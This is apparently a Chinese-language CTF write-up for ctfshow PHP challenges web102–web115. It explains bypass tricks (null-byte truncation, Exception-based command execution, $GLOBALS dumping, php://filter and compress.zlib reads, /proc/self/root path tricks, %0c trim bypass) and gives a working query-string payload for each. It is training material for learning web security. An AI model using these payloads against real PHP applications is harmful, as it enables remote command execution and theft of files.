web108
ereg函数
相当于而preg_match()函数
ereg函数的漏洞:00截断。%00截断及遇到%00则默认为字符串的结束
strrev函数
就是把字符串倒过来
就是说intval处理倒过来的传参c==0x36d(877)
?c=a%00778
web109
异常处理类
通过异常处理类Exception(system(‘cmd’))可以运行指定代码,并且能返回运行的结果(如果存在返回)
?v1=Exception&&v2=system('ls')
?v1=Exception&&v2=system('tac f*')
web110
filesystemiterator 遍历文件类
DirectoryIterator 遍历目录类
getcwd()函数 获取当前工作目录 返回当前工作目录
?v1=Filesystemiterator&v2=getcwd
缺陷是如果flag的文件不在第一位的话,就不能得到这个文件名。而且这个也没法读文件,所以这题的flag文件和之前一样都是.txt。
访问文件
web111
这道题没蒙,看了大佬的题解太详细了我写的也会很详细
在PHP中,$a 本身表示一个变量名,而 &$a 并不是表示“a的位置”,而是表示对 $a 变量的引用。
在这里可以认为是地址
getflag函数
eval("$$v1 = &$$v2;");
//将v2的地址传给v1
var_dump($$v1);
//打印v1
v1中必须有ctfshow字符
var_dump会打印内容,但是并不知道flag在哪个文件于是使用PHP的超全局变量$GLOBALS
然后构造payload
?v1=ctfshow&v2=GLOBALS
web102
is_file检查file是不是文件
这里过滤了很多php伪协议的东西但是最常用的filter还可以用
file协议不能绕过is_file的判断。
http协议需要公网ip。
glob协议返回的是一个数组。highlight_file不能对数组进行高亮,所以本题不能用。
?file=php://filter/resource=flag.php
web113
filter过滤之后,可以用压缩流
?file=compress.zlib://flag.php
还有一种方法是目录溢出让is_file测不出file是文件
/proc/self:不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。/proc/self/root/是指向/的符号链接,就是根目录。
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
也可以
web114
刚才的目录溢出和压缩流用不了了,但是你看filter还有哈哈哈哈
?file=php://filter/resource=flag.php
web115
filter函数将0x,0, . ,e,+都过滤了
然后num还要满足
is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'
trim函数主要功能是从给定的字符串两端(即开头和结尾)去除指定的一系列字符
is_numeric可以在数字前面加**空格**绕过($num!=='36'这个也可以绕过)filter也可以绕过了
%0c(换页)绕过trim函数
?num=%0c36